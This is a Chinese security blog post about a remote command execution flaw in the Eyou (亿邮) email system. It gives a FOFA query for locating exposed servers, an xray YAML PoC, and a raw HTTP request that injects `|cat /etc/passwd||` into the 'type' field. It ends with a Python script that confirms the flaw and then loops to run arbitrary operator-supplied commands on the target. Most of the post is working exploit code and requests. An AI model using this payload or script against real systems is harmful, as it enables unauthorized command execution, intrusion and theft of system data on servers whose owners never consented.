亿邮电子邮件系统RCE

Last updated on a year ago

HW漏洞,亿邮电子邮件系统存在远程命令执行漏洞,可执行任意命令。

验证:

fofa body="亿邮电子邮件系统"

​ 登录页面这样子:

写个xray PoC验证一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
name: poc-yaml-eyou-email-rce
rules:
- method: POST
path: "/webadm/?q=moni_detail.do&action=gragh"
headers:
Content-Type: application/x-www-form-urlencoded
follow_redirects: false
body: |
type='|cat /etc/passwd||'
expression: |
response.status == 200 && response.body.bcontains(bytes(string("root")))
detail:
author: yiyiyi
links:
- https://github.com/PeiQi0/PeiQi-WIKI-POC/

结果如下:

发送请求包:

1
2
3
4
5
6
7
8
9
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: 36.x.x.x:88
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

type='|cat /etc/passwd||'

cat /etc/passwd

当前网络连接情况:

PY脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: Eyou Email SYSTEM \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mCmd >>> whoami \033[0m')
print('+------------------------------------------')

def POC_1(target_url, cmd):
vuln_url = target_url + "/webadm/?q=moni_detail.do&action=gragh"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = "type='|cat /etc/passwd||'"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
print("\033[32m[o] 正在请求 {}//webadm/?q=moni_detail.do&action=gragh \033[0m".format(target_url))
if "root" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 ,成功执行 cat /etc/passwd \033[0m".format(target_url))
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
sys.exit(0)
else:
POC_2(target_url, cmd)
else:
print("\033[31m[x] 请求失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)

def POC_2(target_url, cmd):
vuln_url = target_url + "/webadm/?q=moni_detail.do&action=gragh"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = "type='|{}||'".format(cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))

except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
title()
cmd = 'cat /etc/passwd'
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url, cmd)

Reference

http://wiki.peiqi.tech/PeiQi_Wiki/Web应用漏洞/亿邮/亿邮电子邮件系统远程命令执行漏洞.html


亿邮电子邮件系统RCE
https://guosec.online/posts/e09aeac0.html
Posted on
July 13, 2021
Updated on
September 16, 2022
Licensed under
本博客所有文章除特别声明外,均采用  协议,转载请注明出处!